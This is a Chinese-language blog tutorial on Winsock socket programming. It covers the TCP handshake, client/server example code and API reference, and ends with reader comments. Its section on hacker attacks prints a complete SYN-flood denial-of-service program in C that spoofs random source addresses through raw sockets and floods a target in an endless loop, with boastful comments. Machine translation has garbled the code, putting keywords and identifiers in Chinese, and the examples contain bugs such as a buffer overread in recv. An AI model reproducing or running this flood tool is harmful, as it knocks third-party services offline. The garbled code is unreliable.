今天给各位分享《黑客》深度学习《Socket网络编程详解》的知识,其中也会对进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!
我们经常将socket定义为套接字。 Socket是介于应用层和传输层之间的抽象层。它将TCP/IP层的复杂操作抽象为几个简单的接口,供应用层调用网络上已实现的流程。中国通信.下面是网络分层以及socket在分层中的实际位置:
我们可以发现socket位于应用程序的传输层和应用层之间。设计了套接字抽象层。传输层底层的服务提供给socket抽象层,socket抽象层提供给应用层。问题又出现了。那么,应用层、套接字抽象层、传输层和网络层如何通信呢?如果想了解socket编程如何通过socket关键字与客户端进行通信,首先必须了解tcp/ip是如何进行通信的。是的,基于此,我们需要了解socket的握手通信。
在tcp/ip协议中,tcp通过三次握手建立tcp链接,大致如下
第二次握手:服务器收到客户端syn包并进行确认(ack=j+1),同时向客户端发送SYN包(syn=k),即SYN+ACK包。此时服务器进入SYN_RECV状态。
第三次握手:客户端收到服务器发来的SYN+ACK包,并向服务器发送确认包ACK(ack=k+1)。数据包发送后,客户端和服务器进入ESTABLISHED状态,完成三次握手。
三次握手如下图
根据tcp的三向握手,socket也定义了三向握手,如下图:
根据上图,如果得到上图,我们就需要自己开发一些接口。因此,编程专家将这些抽象概念进行了接口。对于协议提出的每一个概念,他们都编写了专门制定的接口,与其协议一一对应,形成了现在的socket标准规范,然后将其接口封装成一个调用接口,供开发者使用。目前,开发者开发了很多封装类来改进socket编程,更方便的实现socket通信的各个方面。
概括:
1. 套接字就是套接字。在TCP/IP协议中,“IP地址+TCP或UDP端口号”唯一标识网络通信中的一个进程。 “IP地址+TCP或UDP端口号”是一个套接字。
2、在TCP协议中,建立连接的两个进程(客户端和服务器)各由一个套接字来标识,这两个套接字组成的套接字对唯一标识一个连接。
3、Socket本身就是‘套接字’的意思,所以用来描述网络连接的一对一关系。为TCP/IP协议设计的应用层编程接口称为socket API。
二、 socket通信基本原理
通过上面我们了解了socket通信流程,那么我们作为程序员需要实现哪些功能呢,如下:
第一次握手:客户端需要发送syn j数据包并尝试连接服务器,所以我们需要在客户端提供链接功能
第二次握手:服务器需要接收客户端发送的syn J+1数据包,然后发送ack数据包,所以我们需要一个服务器端接受处理函数
第三次握手:客户端处理函数和服务器端处理函数
三次握手只是一个数据传输的过程。不过,在传输之前我们需要做一些准备工作,比如创建套接字、收集一些计算机资源、将一些资源绑定到套接字、以及接收和发送数据的函数等。等等,这些功能接口共同构成了socket编程。
以下大致是客户端和服务器端所需要的功能和原理:
首先,服务器初始化ServerSocket,然后绑定指定端口,然后通过调用accept方法监听该端口并阻塞。此时,如果客户端有连接到服务器的套接字,那么服务器会监听并接受方法来与客户端连接。
了解了socket通信的基本原理后,我们来写一个最简单的例子来了解通信流程:
客户端代码:
[cpp] 1. #include Winsock2.h 2. #include stdio.h 3. #pragma comment(lib,’ws2_32.lib’) 4. int main() 5. { 6. //SOCKET之前的一些检查,Check协议库的版本,以避免其他版本的socket,通过7 //WSAStartup启动对应的版本。 WSAStartup的参数之一是版本信息,另一个是一些详细的细节。注意高低位8. //WSAStartup和WSACleanup对应9. int err; 10. WORD版本必填; 11.WSADATA wsaData; 12. versionRequired=MAKEWORD(1,1); 13. err=WSAStartup(versionRequired,wsaData);//协议库版本信息14. 15. //利用WSACleanup的返回值判断socket协议是否启动16. if (!err) 17. { 18. printf (‘客户端嵌套词已打开!\n’); 19. } 20. else 21. { 22. printf(‘客户端嵌套开词失败!\n’); 23. return 0;//End 24. } 25. //创建关键字socket,想想那个图形中的socket抽象层26 . //注意socket函数。它的三个参数定义了socket所在的系统、socket的类型以及其他一些信息。 27. SOCKET clientSocket=socket(AF_INET,SOCK_STREAM,0); 28. 29. //socket 在编程中,定义了一个结构体SOCKADDR_IN来存储计算机的一些信息,比如socket系统, 30. //端口号、IP地址等信息,这里存储的是服务器-电脑端信息31. SOCKADDR_IN clientsock_in; 32.clientsock_in.sin_addr.S_un.S_addr=inet_addr(‘127.0.0.1’); 33.clientsock_in.sin_family=AF_INET; 34.clientsock_in.sin_port=htons(6000); 35. 36. //前期定义了socket,clientsock_in.sin_family=AF_INET;有关服务器端计算机的一些信息存储在clientsock_in中。 37. //准备工作完成后,开始链接这个socket到远程计算机38. //也就是第一次握手39. 40. connect(clientSocket ,(SOCKADDR*)clientsock_in,sizeof(SOCKADDR));//启动连接41. 42. 43. char receiveBuf[100]; 44. 45. //解释socket的内容46. recv(clientSocket,receiveBuf,101, 0); 47. printf(‘%s\n’,receiveBuf); 48. 49. //发送socket数据50. send(clientSocket,’hello,this is client’,strlen(‘hello,this is client’) +1,0); 51. 52. //关闭套接字53. closesocket(clientSocket); 54. //关闭服务55. WSACleanup(); 56.返回0; 57. }对应的服务器代码:
[cpp] 1. #include Winsock2.h 2. #include stdio.h 3. #pragma comment(lib,’ws2_32.lib’) 4. int main() 5. { 6. //创建socket,socket前面的一些检查,包括服务启动7. WORD myVersionRequest; 8. WSADATA wsaData; 9. myVersionRequest=MAKEWORD(1,1); 10. 错误; 11. err=WSAStartup(myVersionRequest,wsaData); 12. if (!err) 13. { 14. printf(‘套接字已打开\n’); 15. } 16. else 17. { 18. //进一步绑定套接字19. printf(‘嵌套字尚未打开!’); 20.返回0; 21. } 22. SOCKET serSocket=socket(AF_INET,SOCK_STREAM,0);//创建了一个可识别的socket 23. //需要绑定的参数主要是本地socket的一些信息。 24. SOCKADDR_IN 地址; 25. addr.sin_family=AF_INET; 26. addr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);//ip地址27. addr.sin_port=htons(6000);//绑定端口28. 29.bind(serSocket,(SOCKADDR*)addr,sizeof( SOCKADDR));//绑定完成30.listen(serSocket,5);//第二个参数代表可以接收的最大连接数31. 32. SOCKADDR_IN 客户端套接字; 33. int len=sizeof(SOCKADDR); 34. while (1) 35. { 36. //第二次握手,通过accept接受对方的socket信息37. SOCKET serConn=accept( serSocket,(SOCKADDR*)clientsocket,len);//如果不是accept但是连接。会继续监听38. char sendBuf[100]; 39. sprintf(sendBuf,’welcome %s to bejing’,inet_ntoa(clientsocket.sin_addr));//找到对应的IP并在那里打印这一行40. //发送信息41. send(serConn,sendBuf,strlen(sendBuf )+1,0); 42. char receiveBuf[100];//接收43. recv(serConn,receiveBuf,strlen(receiveBuf)+1, 0); 44. printf(‘%s\n’,receiveBuf); 45. closesocket(serConn);//关闭46. WSACleanup();//释放资源的操作47. } 48. return 0; 49. } 3.Socket下函数详解
在应用程序可以使用套接字之前,它必须首先拥有一个套接字。系统调用socket()为应用程序提供了创建套接字的方法。调用格式如下:
[cpp] 1. SOCKET PASCAL FAR套接字(int af, int type, int protocol) 该调用需要三个参数:af、type、protocol。参数af指定通信发生的区域:AF_UNIX、AF_INET、AF_NS等,而DOS和WINDOWS中只支持AF_INET,即Internet区域。因此,地址族与协议族相同。 type参数描述了要建立的套接字的类型。这里有三种类型:
(1)首先,TCP流式套接字(SOCK_STREAM)提供面向连接的、可靠的数据传输服务。数据的发送没有错误和重复,并且按照发送的顺序接收。内置流量控制,防止数据流量超出限制;数据被视为没有长度限制的字节流。文件传输协议(FTP) 使用流式套接字。
(2)其次,数据报套接字(SOCK_DGRAM)提供无连接服务。数据包作为独立数据包发送,没有无差错保证,数据可能丢失或重复,并且乱序接收。网络文件系统(NFS) 使用数据报套接字。
(3)第三个是原始套接字(SOCK_RAW)。该接口允许直接访问较低层协议,例如IP 和ICMP。通常用于验证新协议实现或访问现有服务中配置的新设备。
protocol参数表示socket使用的具体协议。如果调用者不想指定使用的协议,则设置为0并使用默认连接模式。根据这三个参数建立一个socket,为其分配相应的资源,并返回一个整数socket号。因此,socket()系统调用实际上指定了相关五元组中的“protocol”元素。
1.指定本地地址bind()
当使用socket()创建套接字时,命名空间(地址族)就存在,但没有命名。 bind()将socket地址(包括本地主机地址和本地端口地址)与创建的socket号关联起来,即给socket起名字来指定本地半相关。其调用格式如下:
[cpp] 1. int PASCAL FAR bind(SOCKET s, const struct sockaddr FAR * name, int namelen);参数s 是socket() 调用返回的未连接的套接字描述符(套接字号)。参数name是分配给socket的本地地址(名称)。它的长度是可变的,其结构随通信域的不同而变化。 namelen表示名称的长度。如果没有发生错误,bind() 返回0。否则返回SOCKET_ERROR。
2.建立socket连接connect()和accept()
这两个系统调用用于完成一次完整的相关建立,其中connect()用于建立连接。 Accept() 用于使服务器等待来自客户端进程的实际连接。
connect()的调用格式如下:
[cpp] 1. int PASCAL FAR connect(SOCKET s, const struct sockaddr FAR * name, int namelen);参数s是建立连接的本地套接字描述符。参数name指向一个描述对方socket地址结构的指针。对方的socket地址的长度由namelen指定。
如果没有错误发生,connect()返回0。否则返回返回值SOCKET_ERROR。在面向连接的协议中,此调用导致本地系统和外部系统之间的连接实际建立。
因为地址族总是包含在套接字地址结构的前两个字节中,并且通过socket()调用与某个协议族相关。因此,bind() 和connect() 不需要协议作为参数。
Accept()的调用格式如下:
[cpp] 1. SOCKET PASCAL FAR 接受(SOCKET s, struct sockaddr FAR* addr, int FAR* addrlen);参数s 是本地套接字描述符,在将其用作accept() 调用中的参数之前应调用listen。 ()。 addr 指向客户端套接字地址结构的指针,用于接收连接实体的地址。 addr 的确切格式由创建套接字时建立的地址族决定。 addrlen 是客户端套接字地址的长度(字节数)。如果没有发生错误,accept() 返回一个SOCKET 类型的值,表示接收到的套接字的描述符。否则返回值INVALID_SOCKET。
Accept() 用于面向连接的服务器。参数addr和addrlen存储客户端的地址信息。调用前,参数addr指向一个地址结构,初始值为空,addrlen初始值为0;调用accept()后,服务器等待接受来自编号为s的套接字的客户端连接请求,该连接请求是由客户端的connect()调用发出的。当连接请求到达时,accept()调用将请求连接队列上第一个客户端套接字的地址和长度放入addr和addrlen中,并创建一个与s具有相同特征的新套接字号。新的套接字可用于处理对服务器的并发请求。
socket()、bind()、connect()、accept()这四个socket系统调用就可以完成完整的五元关联的建立。 socket()指定五元组中的协议元素,其用法与是客户端还是服务器、是否面向连接无关。 bind()指定五元组中的本地二进制,即本地主机地址和端口号。它的用法与是否面向连接有关:在服务器端,无论是否面向连接都必须调用bind()。如果是面向连接的,那么就可以通过connect()自动完成,无需调用bind()。如果使用无连接,客户端必须使用bind()来获取唯一的地址。
3. 监听连接listen()
面向连接的服务器使用此调用来表明它愿意接受连接。需要在accept()之前调用listen(),其调用格式如下:
[cpp] 1. int PASCAL FAR Listen(SOCKET s, int backlog);参数s标识一个已建立但尚未连接的本地套接字号,服务器愿意接收来自它的请求。 Backlog表示请求连接队列的最大长度,用于限制排队请求的数量。当前允许的最大值为5。如果没有错误发生,listen() 返回0。否则返回SOCKET_ERROR。
在调用过程中,listen()可以为尚未调用bind()的套接字完成必要的连接,并建立一个积压长度的请求连接队列。
调用listen()是服务器接收连接请求的四个步骤中的第三个。它在调用socket()分配流套接字并调用bind()为s分配名称之后调用,并且必须在accept()之前调用。
4. 数据传输send()和recv()
当连接建立后,就可以传输数据了。常用的系统调用包括send()和recv()。
send() 调用用于在s 指定的已连接数据报或流套接字上发送输出数据。格式如下:
[cpp] 1. int PASCAL FAR send(SOCKET s, const char FAR *buf, int len, int flags);参数s 是已连接的本地套接字描述符。 buf 是指向包含发送数据的缓冲区的指针,其长度由len 指定。 flags指定传输控制方式,例如是否发送带外数据等。如果没有错误发生,send()返回发送的总字节数。否则返回SOCKET_ERROR。
recv() 调用用于接收s 指定的已连接数据报或流套接字上的输入数据。格式如下:
[cpp] 1. int PASCAL FAR recv(SOCKET s, char FAR *buf, int len, int flags);参数s 是已连接的套接字描述符。 buf 是一个指向接收输入数据的缓冲区的指针,其长度由len 指定。 flags指定传输控制方式,比如是否接收带外数据等。如果没有错误发生,recv()返回接收到的总字节数。如果连接已关闭,则返回0。否则返回SOCKET_ERROR。
输入/输出复用select()
select() 调用用于检测一个或多个套接字的状态。对于每个套接字,此调用可以请求读取、写入或错误状态信息。请求给定状态的套接字集由fd_set 结构指示。返回时,此结构会更新以反映满足特定条件的套接字子集,并且select() 调用将返回满足条件的套接字数量。调用格式如下:
[cpp] 1. int PASCAL FAR select(int nfds, fd_set FAR * readfds, fd_set FAR * writefds, fd_set FAR * exceptfds, const struct timeval FAR * timeout);参数nfds指定了被检查的socket描述符的取值范围,这个变量一般被忽略。
参数readfds指向要进行读测试的socket描述符集合的指针,调用者希望从中读取数据。参数writefds 是一个指向要测试写入的套接字描述符集的指针。 exceptfds 指向用于检测错误的套接字描述符集的指针。 timeout 指向select() 函数等待的最长时间。如果设置为NULL,则为阻塞操作。 select() 返回fd_set 结构中包含的已准备套接字描述符的总数,如果发生错误,则返回SOCKET_ERROR。
5.关闭socketclosesocket()
closesocket() 关闭socket并释放分配给该socket的资源;如果s 涉及打开的TCP 连接,则释放该连接。 closesocket()的调用格式如下:
[cpp] 1. BOOL PASCAL FAR closesocket(SOCKET s);参数s是要关闭的套接字描述符。如果没有错误发生,closesocket()返回0。否则返回返回值SOCKET_ERROR。
4、黑客如何利用socket编程实施网络攻击
1.DDOS攻击示例
#include #include #include #include #include #include #include #include #include void send_tcp(int sockfd,struct sockaddr_in *addr);无符号短值check_sum(无符号短值*addr,int len); int main(int argc,char **argv) { int DESTPORT; int sockfd; struct sockaddr_in 地址;结构主机*主机;整数开启=1; if(argc !=3) { fprintf(stderr,’Usage:dos 主机端口./n’);退出(1); } 目标端口=atoi(argv[2]); printf(‘no 正在攻击主机%s,端口为%d./n’,argv[1],DESTPORT); //printf(‘确定开始了!/n’); bzero(addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(目标端口); if(inet_aton(argv[1],addr.sin_addr)==0) { 主机=gethostbyname (argv[1]); if(host==NULL) { fprintf(stderr,’主机名错误:%s/n/a’,hstrerror(h_errno));退出(1); addr.sin_addr=*(struct in_addr *)(host-h_addr_list[0]); /**** 使用IPPROTO_TCP 创建TCP 原始套接字****/sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfd0) { fprintf( stderr,’套接字错误:%s/n/a’,strerror(errno));退出(1); } /******** 设置IP数据包格式,告诉系统内核模块该IP数据包是我们自己发送的填写***/setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,on,sizeof(on) ); /**** 没办法,只有超级受保护的用户才能使用原始套接字******** */setuid(getpid()); /************ 发送炸弹! ****/send_tcp(sockfd,addr); } /************ 发送炸弹实现**********/void send_tcp(int sockfd,struct sockaddr_in *addr) { char buffer[100]; /**** 用来放置我们的数据包****/struct ip *ip ;整数我;结构tcphdr *tcp; int head_len; /******** 我们的数据包其实没有内容,所以长度就是两个结构体的长度*
**/ head_len=sizeof(struct ip)+sizeof(struct tcphdr); bzero(buffer,100); /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/ ip=(struct ip *)buffer; ip->ip_v=IPVERSION; /** 版本一般的是 4 **/ ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/ ip->ip_tos=0; /** 服务类型 **/ ip->ip_len=htons(head_len); /** IP数据包的长度 **/ ip->ip_id=0; /** 让系统去填写吧 **/ ip->ip_off=0; /** 和上面一样,省点时间 **/ ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/ ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/ ip->ip_sum=0; /** 校验和让系统去做 **/ ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/ /******* 开始填写TCP数据包 *****/ tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); tcp->source=htons(LOCALPORT); tcp->dest=addr->sin_port; /** 目的端口 **/ tcp->seq=random(); tcp->ack_seq=0; tcp->doff=5; tcp->syn=1; /** 我要建立连接 **/ tcp->check=0; /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/ while(1) { /** 你不知道我是从那里来的,慢慢的去等吧! **/ ip->ip_src.s_addr=random(); /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */ /** 下面这条可有可无 */ tcp->check=check_sum((unsigned short *)tcp, sizeof(struct tcphdr)); sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); } } /* 下面是首部校验和的算法,偷了别人的 */ unsigned short check_sum(unsigned short *addr,int len) { register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); }2、 arp攻击实例
原创文章,作者:小su,如若转载,请注明出处:https://www.sudun.com/ask/116427.html
用户评论
走过海棠暮
终于看到一篇不绕弯子深入讲解 Socket 网络编程的博文了!一直想入门但总是怕自己看不懂太多复杂的理论,这篇文讲得很清晰,重点突出,还附带示例代码,太棒了!以后学习相关内容再回来看看!
有13位网友表示赞同!
迁心
Socket 网络编程真是个神一般的技术!这篇文章深入浅出地讲解了它的原理和应用场景,我终于明白黑客们是如何利用 Socket 进行攻击或搭建服务端的!赶紧收藏起来,待我日后深入学习。
有12位网友表示赞同!
呆萌
这个“黑客”有点厉害啊,能把复杂的网络编程原理讲得这么通俗易懂。特别是对 TCP 和 UDP 的区别解释得很到位,终于搞明白了它们各自的优缺点!希望能写更多这样好文章!
有15位网友表示赞同!
来自火星的我
虽然标题说的是“黑客”深度学习,但我感觉这篇文章更像是一本关于 Socket 网络编程入门指南。对于初学者来说非常有用,但对已经有一定基础的人来说,可能有点浅显了。
有11位网友表示赞同!
烟花巷陌
太赞了!终于找到了一个解释 Socket 网络编程的详细教程,之前看了很多官方文档都一头雾水,这篇文一下子就给我清晰地解释了其中的关键点. 以前总是以为网络编程超级复杂,现在看来只要有一个好的学习资源就很好学啊!
有15位网友表示赞同!
久爱不厌
说实话,这篇文章虽然讲解得比较仔细,但我的注意力始终无法集中起来。可能是我不太擅长对代码进行分析和理解吧。 还是想看到更多实践案例类型的文章,比如黑客是如何利用 Socket 进行实际攻击的?!
有10位网友表示赞同!
来瓶年的冰泉
这篇“黑客”深度学习的文章质量不错,特别是对于初学者来说非常适合作为入门指南,但作为一个有一定网络编程基础的人,我觉得还需要更深入的讲解才能满足我的需求。希望作者能够继续更新更多关于高级 Socket 网络编程的内容。
有19位网友表示赞同!
封锁感觉
标题有点 misleading 啊,明明只是讲 Socket 网络编程,还扯上“黑客”深度学习呢?
有17位网友表示赞同!
嗯咯
Socket 网络编程这种技术真的是太重要了!它应用到各个方面,学习一遍真的很有价值。这篇文章讲解的很好,让我对其中的很多概念有了更深入的理解。
有9位网友表示赞同!
妄灸
这篇博客文讲解得非常透彻! 作者不仅解释了 Socket 的基本原理,还结合了许多真实的例子进行说明,让读者更容易理解和记忆. 佩服作者的知识和写作能力!
有5位网友表示赞同!
各自安好ぃ
我一直想了解一下“黑客”是如何使用 Socket 网络编程的。这篇博文让我看到了很多有趣的技术细节,但感觉缺乏实际应用案例的展示
有11位网友表示赞同!
算了吧
Socket 网络编程确实是黑客们必备的技能之一,这篇文章讲解得很详细,对想要学习网络安全的朋友来说非常有用!不过,我希望作者能更多地分享一些关于对抗 Socket 攻击的方法。
有15位网友表示赞同!
还未走i
我学了一些计算机基础知识,但一直没深入研究过 Socket 网络编程,这篇博客文解释得很好理解,让我对这个领域有了更进一步的认识,
有14位网友表示赞同!
裸睡の鱼
感觉这篇文章讲的是一些初级的网络编程概念,对于已经熟练掌握 Socket 编程的人来说并没有太多的价值。 希望以后能看到更多关于高级网络安全技术的文章!
有20位网友表示赞同!
。婞褔vīp
作者把复杂的技术用通俗易懂的语言讲解出来真的很棒!我以前对 Socket 网络编程感觉很可怕,现在阅读完这篇文章,我觉得它其实并不难理解。感谢作者的分享!
有15位网友表示赞同!
巷口酒肆
学习了这篇博客文后,我对Socket 协议有了更深的认识. 希望未来能有机会练习一下, 把这些理论知识付诸实践!
有9位网友表示赞同!
君临臣
我本身从事网络安全相关的工作,但这段时间一直在忙于实际项目,很少有时间深入研究技术细节。这篇文章正好给了我一个学习的机会,回顾了一下 Socket 网络编程的基础知识,受益匪浅!
有6位网友表示赞同!
我怕疼别碰我伤口
这篇博文非常棒,讲解得非常清晰,适合入门的人阅读。 虽然标题提到了“黑客”深度学习”,但内容主要还是围绕TCP/IP协议和Socket 网络编程展开,建议修改标题以更准确地描述文章内容。
有20位网友表示赞同!
此刻不是了i
希望以后作者能写更多关于网络安全方面的文章,比如如何防范 Socket 攻击等,这方面的内容更符合我的兴趣!
有17位网友表示赞同!
最迷人的危险
我读完这篇博文后,总觉得黑客的世界很神秘,他们可以通过一些代码让系统产生各种不同的行为,真是太不可思议了!
有9位网友表示赞同!